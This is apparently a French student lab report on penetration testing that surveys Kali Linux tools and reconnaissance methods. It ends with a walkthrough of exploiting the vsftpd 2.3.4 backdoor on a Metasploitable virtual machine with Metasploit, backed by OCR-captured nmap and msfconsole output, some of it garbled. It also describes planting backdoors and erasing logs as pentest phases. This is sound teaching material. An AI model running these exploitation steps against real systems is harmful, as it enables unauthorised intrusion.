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[bookmark: _Toc124752541][bookmark: _Toc130393617][bookmark: _Toc133573503]Introduction
Les tests de pénétration sont réalisés dans le but de trouver les failles de sécurité puis de les corriger. 
Pentester est la contraction de « pénétration tester », test d’intrusion en français. Le rôle de ce professionnel de la sécurité informatique est de trouver toutes les failles de sécurité d’un système puis de procéder à des tests d’intrusion, autrement dit des attaques contrôlées. 
 
La sécurité informatique consiste à mettre en place des techniques permettant de garantir que les ressources informatiques sont utilisées uniquement dans le cadre prévu par la Direction des Systèmes d’Informations. Elle permet donc de maitriser les 3 enjeux suivants : 
 
La confidentialité :  Seules les personnes autorisées doivent pouvoir accéder aux ressources informatiques. 
L’Intégrité : Seules les personnes autorisées doivent pouvoir modifier les ressources informatiques. 
La disponibilité : Les personnes autorisées doivent pouvoir accéder à tout instant aux ressources proposées. 
A cela, on peut également rajouter les 2 enjeux suivants, qui permettent d’atteindre un niveau de sécurité plus important :  
La non-répudiation : Une personne ne peut contester avoir effectué des actions sur les ressources informatiques. 
L’imputation : Il doit être possible, `a tout instant, d’identifier la personne qui aura effectué une action sur les ressources. 
 




[bookmark: _Toc133573504]I. Les tests d’intrusions et de vulnérabilité 

[bookmark: _Toc133573505]1. Définition

1.1 Intrusions informatiques 

Une intrusion est un événement permettant d’avoir accès à un système et ses ressources. L’intrus est généralement vu comme une personne étrangère au système informatique qui réussit à en prendre le contrôle.

1.2 Un test d’intrusion 

Est une méthode permettant d’évaluer la sécurité d’un réseau informatique à travers des tentatives d’intrusions. Cette méthode consiste à simuler une attaque réelle afin de détecter et d’identifier les vulnérabilités des systèmes avant qu’un acte de malveillance réel, externe ou interne, n’ait lieu. On dit qu’il s’agit d’un audit de vulnérabilité

[bookmark: _Toc133573506]2. Objectif d'un test d'intrusion 
Les tests d’intrusion vont notamment être utilisés pour :
· Tester la robustesse du mécanisme de sécurité mis en place au sein du système. 
· Identifier les vulnérabilités les plus susceptibles d'être découvertes. 
· Révéler les informations pouvant être obtenues depuis l’extérieur du réseau. 
· Etudier le composant social de l’entreprise, vu que les attaques d'ingénierie sociale ciblent les employés de l'organisation et tentent de les manipuler afin d'obtenir des informations confidentielles.

[bookmark: _Toc133573507]2.1. Test d’intrusion interne 
Un test d’intrusion interne identifie les faiblesses et évalue l’impact d’une menace faite par un hacker ou un employé malveillant à l’intérieur de l’entreprise. Cette approche de test agit depuis le réseau interne ce qui nécessite un accès physique au réseau local.
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[bookmark: _Toc133573508] 3. Environnement de tests d’intrusions

Il existe différents outils pour mener un test d’intrusion, parmi ces outils on trouve des systèmes d'exploitation tout-en-un qui embarquent un nombre important d’outils nécessaires pour réaliser des tests d’intrusion, parmi ces outils on trouve :

· GnackTrack R6 : GnackTrack est une distribution Live Linux qui peut être intégrée dans un disque dur basé sur Ubuntu pour être utilisée comme " test de pénétration " ; 

· BackTrack : Basé sur linux Son objectif est de fournir une distribution regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un réseau ;

· WIFISLAX : est une distribution GNU/Linux au format *.iso  Wifislax qui comprend une longue liste d' outils d'audit et de sécurité prêts à l'emploi , y compris de nombreux scanners de ports et de vulnérabilités, des outils de création et de conception d'exploits , des renifleurs , des outils d'analyse médico-légale et des outils d'audit sans fil, ainsi qu'un certain nombre de lanceurs utiles ;

· Parrot OS : basée sur Debian également mais un peu moins populaire ;

· Commando VM : basée sur Windows mais qui nécessite une installation pas toujours simple ;

· Exegol : basée sur Kali mais qui tourne dans Docker. Mention spéciale pour cet environnement qui a été initialement créé par un Français, cocorico ! ;

· Kali Linux : un système d’exploitation de la distribution Linux basée sur Debian spécialement conçu pour fournir des installations pour les tests d'intrusion. Dans notre cas nous allons utiliser l'outil Kali car c'est la distribution de référence,          
            elle contient environ 300 outils intégrés ;



[bookmark: _Toc133573509] 3.1 Découverte de Kali linux 

L'objectif de Kali Linux est de fournir une distribution regroupant un ensemble d’outils nécessaires aux tests de sécurité d'un système d'information.

[bookmark: _Hlk116210896]Le tableau ci-dessous représente les 20 outils les plus importants dans le package Kali Linux.

	Outils 

	Functions

	Aircrack-ng 
	Un renifleur de paquets pour les réseaux locaux sans fil.

	Autopsy 
	Une interface graphique pour The Sleuth Kit, qui facilite l'exploration médico-légale des disques durs.

	Armitage 
	Un frontal pour les outils Metasploit qui gère les stratégies d'attaque.

	Burp Suite
	Un système qui lance des attaques man-in-the-middle et inclut le craquage de mot de passe.

	BeEF 
	Le Browser Exploitation Framework tente de s'introduire dans les serveurs via des sites Web.

	Cisco Global Exploiter
	Attaque les routeurs et commutateurs Cisco.

	Ettercap 
	Un intercepteur de trafic conçu pour les attaques man-in-the-middle.

	Foremost 
	Un outil de copie de disque et de récupération de fichiers en ligne de commande.

	Metasploit Framework
	Analyse les cibles pour les terminaux, puis construit des attaques basées sur les connaissances découvertes.

	Nikto
	Un scanner de vulnérabilité Web en ligne de commande.

	Nmap
	Un scanner “command-line network” et un “device discovery tool”.

	OWASP ZAP 
	Le Zed Attack Proxy est un scanner de vulnérabilité Web et un intercepteur de trafic.

	sqlmap 
	Un service de ligne de commande pour l'analyse des vulnérabilités Web et le craquage des mots de passe.

	Wireshark 
	Un renifleur de paquets de renommée mondiale.

	Hydra 
	Un crackeur de mot de passe.

	Jean the ripper 
	Un craqueur de mot de passe en ligne de commande

	WPScan
	Un scanner de vulnérabilité pour les sites WordPress.




[bookmark: _Toc133573510]3.2 Installer Kali Linux avec le logiciel VMWare

[bookmark: _Toc133573511]   3.2.1 Prérequis

· Téléchargé l’iso KALI sur le site suivant https://www.kali.org/get-kali/#kali-platforms, Ouvrez VMWare et cliquez sur "Create New Virtual Machine".

· Sélectionnez "Installer disc image file (iso)", ensuite sélectionnez le fichier ISO de kali linux que vous avez téléchargé. Cliquez sur "Next".

[image: ]

· Sélectionnez le type de système d'exploitation à installer puis entrez le nom de la machine virtuelle. 
· Sélectionnez la taille maximum de l'espace de stockage que vous souhaitez utiliser pour kali linux nous recommandons 20 Go pour notre cas

[bookmark: _Toc124752544][bookmark: _Toc130393620][bookmark: _Toc133573512]    3.2.2 Processus d’installation 
· Type d’installation : installation graphique 
· Langue : French 
· Emplacement : France 
· Configuration du clavier : Français
· Nom du système : Kali 
· Nom de domaine : vide 
· Création des utilisateur/mot de passe : MP / MP
· Partitionner les disques : Utilisé un disque entier 
· Tous dans une seule partition 
· Faut-il appliquer les changements sur les disques : oui
· Installer le programme de démarrage GRUP : oui 
· Paramètre réseau : Network Adapter : Bridged
· Vérifier que la machine a bien accès à internet avec la commande ping

[image: ]
[bookmark: _Toc124752545][bookmark: _Toc130393621]

[bookmark: _Toc133573513]3.3 Découverte de Metaspoite 

[bookmark: _Toc133573514]3.3.1 C’est quoi Metasploit 

Pour tout pentester, Metasploit est incontournable. Grâce à ce Framework, les professionnels comme les scripts-kiddies ont accès à une large base de données de codes d’exploitation relativement fiables. Il suffit de quelques lignes de commandes, pour exploiter des vulnérabilités parfois critiques

3.3.2 Principales fonctionnalités 

Metasploit est annoncé comme une plateforme de pentest permettant de découvrir, valider et exploiter des failles de sécurité. De plus, ce projet propose une interface simplifiée à l’extrême qui permet même aux plus novices d’exploiter des vulnérabilités en quelques commandes 
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[bookmark: _Toc133545338][bookmark: _Toc133573515]  II. Les étapes d’un test d’intrusion et de vulnérabilité 

La première chose avant de commencer le test de pénétration sur une cible, est de confirmer que nous avons bien les permissions d'attaquer la cible. 
Le test d’intrusion est réparti en cinq étapes que nous allons détailler ci-dessous


[bookmark: _Toc133545339][bookmark: _Toc133573516]   1.La collète d’informations 
La collète d’informations est l'acte de recueillir des informations sur la cible pour mieux planifier son attaque, ce type de test de pénétration est le seul qu’on peut effectuer sur n'importe quel site web ou cible qu’on souhaite pénétrer. 
Puisque la collecte d'informations n'est pas illégale, il y a deux façons de   procéder pour faire la collecte d'informations : de manière active en interagissant directement avec notre cible, ou de manière passive, sans interagir avec la cible. 
Exemple : Disons que vous voulez collecter des informations sur une page Facebook.
Vous pouvez le faire activement en visitant la page Facebook et en obtenant toute l'information possible de la page Facebook elle-même, ou passivement, en allant sur un autre site web qui parle de Facebook afin d’obtenir des informations sur Facebook à partir de cet autre site. Vous avez alors effectué une collecte passive d'informations. 


[bookmark: _Toc133545340][bookmark: _Toc133573517]1.1 Obtenir l'adresse IP

1.1.1 En utilisant ping 

La commande ping envoie un datagramme par seconde et imprime une ligne de résultat pour chaque réponse reçue. Elle calcule les allers-retours et les statistiques de perte de paquets, et affiche un bref récapitulatif à la fin.
Ping google.fr
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[bookmark: _Toc133545343][bookmark: _Toc133573521]1.1.2 En utilisant Whois 

Whois permet de consulter les bases de données des noms de domaine disponibles.

[image: Zone de texte]
 

[bookmark: _Toc133545341][bookmark: _Toc133573518]1.1.3 Utiliser Nslookup + nom du site : 

La boîte de dialogue NSLOOKUP permet d'interroger les serveurs de noms afin de localiser les informations sur les nœuds réseau, d'examiner le contenu d'une base de données d'un serveur de noms ou d'établir l'accessibilité des serveurs de noms

[bookmark: _Toc133573519]nslookup insta.fr 
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[bookmark: _Toc133545342][bookmark: _Toc133573520]1.3 Utiliser le site ipinfo.info 

Ipinfo.info offre un service gratuit permettant d'obtenir l'adresse IP d'un site internet ainsi que des mails.

Taper le nom du site dans check :
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[bookmark: _Toc133545344][bookmark: _Toc133573522]2- L’analyse ou le scanning 
Le scanning est une forme plus approfondie de collecte d'informations utilisant des outils techniques, pour trouver des ouvertures dans les cibles et dans les systèmes que l’on attaque. 

Ces ouvertures peuvent être des passerelles, des ports ouverts, des systèmes d'exploitation que la cible exécute et ainsi de suite. 
Dans cette étape, nous effectuons également une analyse de vulnérabilité qui consiste simplement à rechercher les logiciels vulnérables, dont le système ou le réseau cible, qui pourraient éventuellement être exploités après la collecte et l'analyse des informations. 



[bookmark: _Toc133545345][bookmark: _Toc133573523]2-1 Collecte des informations et scanne de n’importe quel site avec whatweb ?

Whatweb est un outil en ligne de commande disponible sous Linux/WSL capable d'extraire des informations cachées d'un site Internet. C’est un projet Open Source disponible sur GitHub.

whatweb google.com -v        
 
 
[image: ] 
[bookmark: _Toc133545346] 
[bookmark: _Toc133573524]2.2 Collecte d'e-mails à l'aide de theHarvester et Hunter.io

2.2.1 TheHarvester 

C’est un outil qui est développé en Python. Cet outil peut être utilisé pour recueillir des informations sur les emails, les sous-domaines, les hôtes, les noms d'employés, les ports ouverts et les bannières à partir de différentes sources publiques comme les moteurs de recherche tels que Shodan, les serveurs de clés PGP (Pretty Good Privacy, permet d'envoyer des e-mails chiffrés et de chiffrer des fichiers sensibles). Cet outil peut être utilisé en reconnaissance passive par toute personne qui a besoin de savoir ce qu'un attaquant peut voir sur une organisation.

	[image: ] 
	[image: ] 



2.2.2 Hunter.io

Il permet de trouver les adresses emails professionnelles en quelques secondes. C’est une plateforme qui permet de partir à la chasse des adresses emails de différentes cibles.
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Mais que se passe-t-il si certains de ces outils cessent de fonctionner ou s'ils deviennent obsolètes ?

Il n’est pas bon de dépendre de certains outils. Si un outil cesse de fonctionner, il faut trouver un moyen d'accomplir la tâche, soit en utilisant d'autres outils, soit en créant cet outil nous-mêmes.
Heureusement, il existe un grand nombre d'outils que l’on peut télécharger en ligne et utiliser. Linux et Github peuvent aider à trouver et à télécharger ces outils de test d’intrusion.
Il suffit donc de Taper dans la barre de recherche « Information Gathering Tools » ou en français « outils de collecte d'informations ».

Nous avons choisi d’utiliser Sherlock et Red_Hawk pour traquer les comptes des médias sociaux.

[bookmark: _Toc133573525]2.3 Sherlock

Sherlock permet de retrouver à partir d’un nom d’utilisateur, les autres comptes utilisés avec le même nom d’utilisateur.
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[bookmark: _Toc133573526]2.4 Red_Hawk 

Red Hawk est un outil gratuit et open-source disponible sur GitHub. Il permet d’analyser les sites Web pour recueillir des informations et trouver des vulnérabilités. Red Hawk est écrit en PHP. Il utilise un script PHP pour faire de la reconnaissance. Red Hawk est si puissant qu'il peut détecter le système de gestion de contenu lors de la numérisation, il peut détecter l'adresse IP, il peut détecter l'enregistrement du serveur Web…

[image: ]
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[bookmark: _Toc133573527]2-5 ARP et NetDiscover

2.5.1 ARP
Comme « Adress Resolution Protocol », cet outil permet de faire le lien entre une adresse IP d'une carte réseau et une adresse matérielle dite adresse MAC. Plus précisément, son but est, à partir d'une adresse IP connue d'une machine, d’obtenir son adresse MAC et ainsi pouvoir envoyer notre trame.
[image: ]


2.5.2 Netdiscover 
Est un outil de mapping réseau qui fonctionne via des requêtes ARP et non via l’IP comme la plupart des outils. Il n’est surement pas le seul à utiliser cette méthode mais il est plutôt simple d’utilisation et de fonctionnement.
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[bookmark: _Toc133545347][bookmark: _Toc133573528]3- Accéder/exploiter 
Après avoir gagné l’accès le hacker va essayer de causer des dommages en utilisant différentes techniques d’attaque telles que : 
- IP spoofing qui permettra d’envoyer a une machine des paquets semblant provenir d’une autre machine que celle utilisée par le hacker
- Les attaques par déni de service qui pourront arrêter le fonctionnement du système cible. 
Les informations recueillies dans la phase un et deux permettent de prendre le contrôle d'un nombre quelconque d'appareils cibles.  
Obtenir l'accès aux appareils cibles permet de voler des données de leurs systèmes ou d'utiliser ces appareils pour attaquer d'autres appareils sur le même réseau. 
Généralement, après cette étape, vous pouvez considérer que les tests de pénétration sont réussis puisque, vous avez réussi à obtenir l'accès à un système cible. 
Cependant, ce n'est pas la dernière étape d'un test de pénétration.
L'exploitation vient après … 
 
[bookmark: _Toc133545348][bookmark: _Toc133573529]4- Le maintien de l’accès 
Cette étape ainsi que la cinquième étape est parfois une option, vous n'avez pas toujours besoin de réaliser ces dernières étapes car le client peut se soucier uniquement de savoir si son système est impénétrable. 
Cependant, le maintien de l'accès est généralement une étape importante et cela se fait généralement en installant des portes dérobées, backdoors et en installant des rootkit. Une porte dérobée et les rootkit sont tout simplement des programmes qui permettent d'accéder à cette cible à tout moment, sans avoir besoin de l'exploiter à nouveau. La connexion se fait simplement à la porte dérobée, plantée dans le système cible. 
 
[bookmark: _Toc133545349][bookmark: _Toc133573530]5- Couvrir les traces 
C’est la dernière étape du test de pénétration. Elle consiste simplement à supprimer toutes les preuves qu'une attaque a eu lieu. Cela peut impliquer de supprimer ou de cacher des fichiers, d'éditer les logs ou en gros, d'annuler tout changement que vous avez effectué sur le système pendant que l'attaque avait lieu. 
 
 
 
 
 
 



[bookmark: _Toc133573531]III. Cas pratique 

[bookmark: _Toc133573532]1. Principe du projet

Le principe de notre projet est d’exploiter une faille de sécurité (backdor) d’une machine cible (metasloite) dans le but de prendre contrôle sur la machine.
Nous allons commencer par définir ces deux concepts que nous jugeons utile pour la suite du TP.
Un exploit : est un bout de code qui va nous permettre d’exploiter une vulnérabilité sur une machine distante ou n’importe quel appareil sur notre réseau 

Un payload : c’est un code que nous allons exploiter sur la machine cible soit pour prendre le contrôle ou créer d’autre vulnérabilités

[bookmark: _Toc133573533]2. Réalisation du test d'intrusion interne

Nous entamons maintenant la partie réalisation du test d’intrusion en nous appuyant sur des imprimés d’écrans pour la description des résultats.

· Déterminer les hôtes actifs sur notre réseau ainsi que leurs adresse IP

Sudo netdiscover 
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· Nous allons utiliser Kali linux pour faire un scan de port pour la machine victime (metasploit) qui a pour adresse IP 192.168.1.59  avec la commande suivante : 
nmap -Sv -O -T5 192.168.1.59


· -sV : Permet de définir les noms de logiciel ainsi que la version installée sur le port 
· -O : permet la visualisation du système d'exploitation des machine interceptées. 
· -T5 : signifie la vitesse du scan (T5 est la vitesse maximale).


Après l'exécution de la commande précédente nous aurons le résultat suivant :
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· Pour lancer la console Metasploit nous utilisons la commande msfconsole

Cette commande permet d’activer et configurer la base de donner Metasploit

# service postgresql start
# msfdb init
# msfconsole
msf> db_status
[*] postgresql connected to msf3
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Nous allons exploiter cette donnée en essayant de trouver une faille liée à cette version de logiciel. Pour cela il est possible d’interroger directement la base de données metaspointe.
  
· Faire une recherche pour savoir si le logiciel est disponible dans la base de données de metaspoit
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· On voit qu’un exploit a été détecté, cet exploit est écrit par un développeur
Pour avoir plus d’information on s’appuie sur la commande info 


[image: ]
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· Ce que nous devons faire ici c’est définir des options :
RHOST pour mentionner l’hôte distant que l’on veut cibler 
RPORT pour préciser le n° de port d’attaque.


· Avant de définir la valeur RHOST, on doit sélectionner l’exploite avec la commande use 

[image: ]

· On peut fixer ces paramètres à l’aide du mot-clé set, en mentionnant le nom du paramètre et sa valeur :

msf > set RHOST 192.168.1.59

· Dès lors que le cadre de l’exploit est fixé, on peut alors demander à Metasploit de l’exécuter via l’instruction ci-dessous :

msf > exploit

Nous voyons là un message de bienvenue du logiciel Vsf 
· Il y’a un pont de communication entre les machines


[bookmark: _Toc133573534]Conclusion

Notre projet a consisté en la réalisation d'un test d'intrusion interne en utilisant les mêmes outils et techniques que les hackers, afin d'exploiter et mettre en évidence les failles de la machine ciblée dans le but de proposer une solution de sécurité performante qui va limiter ces menaces informatiques.
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[a] _Quit!
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817 :: 2008
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root@kali: homelfaso.

Fichier Actions Editer Vue Aide

(faso® kali)-[~]
L5 sudo su
[sudo] Mot de passe de faso :
E(mmeka\i)—[/m/hso]

i arp -a
? (192.168.8.56) at <incomplete> on etho
? (192.168.8.1) at 00 c0:00:08 [ether] on etho
? (192.168.8.254) at 00:50: :86:b6 [ether] on etho

(192.168.8.16) at <incomplete> on etho
(192.168.8.99) at 00:50:56:ed:b6:e3 [ether] on ethd

E(mmeka\i)—[/m/hso]
 arp 192.168.8.56
adresse TypeMap AdresseMat Indicateurs
192.168.8.56 (incomplete)

E(mmeka\i)—[/m/hso]
 arp 192.168.8.1
adresse TypeMap AdresseMat Indicateurs
192.168.8.1 ether  00:50:56:c0:00:08 C
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Currently scanning: 172.16.121.0/16 |  Screen View: Unique Hosts

4 Captured ARP Rea/Rep packets, from 3 hosts. Total size: 240

i3 At MAC Address Count. Len MAC Vendor / Hostname
192.168.8.1 1 60 VMuare, Inc.
192.168.8.99 1 60 VMuare, Inc.
192.168.8.254 2 120 VMware, Inc.

(o0 /home/ faso)
1 netdiscoverf]
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e NS

3] root@kal:/ [x}
Fichier Actions Editer Vue Aide N

Currently scanning: 172.18.140.0/16 |  Screen View: Unique Hosts

539 Captured ARP Req/Rep packets, from 9 hosts. Total size: 32340

™ At MAC Address Count. Len MAC Vendor / Hostname

140 do:
192.168.1.59  00:
192.165.1.60 4
192.168.1.75  do:
192.168.1.95  do
192.168.1.254  do
0.0.0.0 do:
192.168.1.49 a0
192.168.1.256  do:

a 60 Sagemcom Broadhand SAS
2 120 VMware, Inc.
1 60 Liteon Technology Corpora
1 60 sagemcom Broadband SAS

1 60 sagemcom Broadband SAS
5

2

3

2

29760 sagemcom Broadband SAS
1920 Sagemcom Broadband SAS
180 zhejiang Dahua Technology
120 sagemcom Broadband SAS

[ (root@lali)-1/]
i

(root® kali)-[/1
EFE , the more y
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lehackeur@kali: -
Fichier Actions Editer Vue Aide

5 sudo nmap —sv -0 -T5 192.168.1.59

sudo] Mot de passe de lehackeur :

tarting Nmap 7.93 ( https://nmap.org ) at 2023-04-28 00:28 CEST
map scan report for Host-001.lan (192.168.1.59)

ost is up (0.0023s latency).

ot shown: 977 closed tcp ports (reset)

STATE SERVICE  VERSION

01/tcp  open ftp vsftpd 2.3.4
5 ebian 8ubuntul (protocol 2.0)
3/tcp  open telnet Linux telnetd
5/tcp  open smtp Postfix smtpd
3/tcp  open domain 1ISC BIND 9.4.2
[po/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
11/tcp open rpcbind 2 (RPC #100000)

39/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|e4s/tcp open netbios-ssn samba smbd 3.X - 4.X (workgroup: WORKGROUP)
12/tcp open exec?

13/tcp open login

14/tcp open tcpwrapped

099/tcp open java-rmi  GNU Classpath grmiregistry

524/tcp open bindshell ~Metasploitable root shell

049/tcp open nfs 2-4 (RPC #100003)

121/tcp open ftp ProfFTPD 1.3.1

306/tcp open mysql MysSQL 5.0.51a-3ubuntus
432/tcp open postgresql Postgresql DB 8.3.0 - 8.3.7
900/tcp open vnc VNC (protocol 3.3)

o0o/tcp open x11 (access denied)
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nsf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check
Description

v2.3.4 Backdoor Command Execution

in exploit/unix/ftp/|iSiipd_234_backdoor 2011-07-03 excellent No

Interact with a module by name or index. For example info 0, use 0 or use exp
Loit/unix/ftp/vsftpd_234_backdoor

nsfs > I





image27.png
ST NI A T (R B R

nsf6 > info exploit/unix/ftp/vsftpd_234_backdoor

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor

Platform: Unix
Arch: cnd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent

Disclosed: 2011-07-03

Provided by:
hdn <xahdn. io>
MC <mcametasploit.com>

Available targets:
Id Name

= 0 Automatic

Check supported:
No|
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Basic options:
Name  Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.m
etasploit.con/docs/using-metasploit/ba
sics/using-metasploit.html

RPORT 21 yes The target port (TCP)

Payload information:
Space: 2000
Avoid: 0 characters

Description:
This module exploits a malicious backdoor that was added to the
VSFTPD download archive. This backdoor was introduced into the
vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011
according to the most recent information available. This backdoor
was removed on July 3rd 2011.

References:
0SVDB (73573)
//pastebin.con/AetT9sS5

//scarybeastsecurity.blogspot.con/2011/07/alert-vsftpd-download-backdo
ored.htnl
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msf6 > {RPORT pour préciser le n° de port d’attaque

1 Unknown command: {IRPORT
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[+] No payload configured, defaulting to cmd/unix/interact

nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > I
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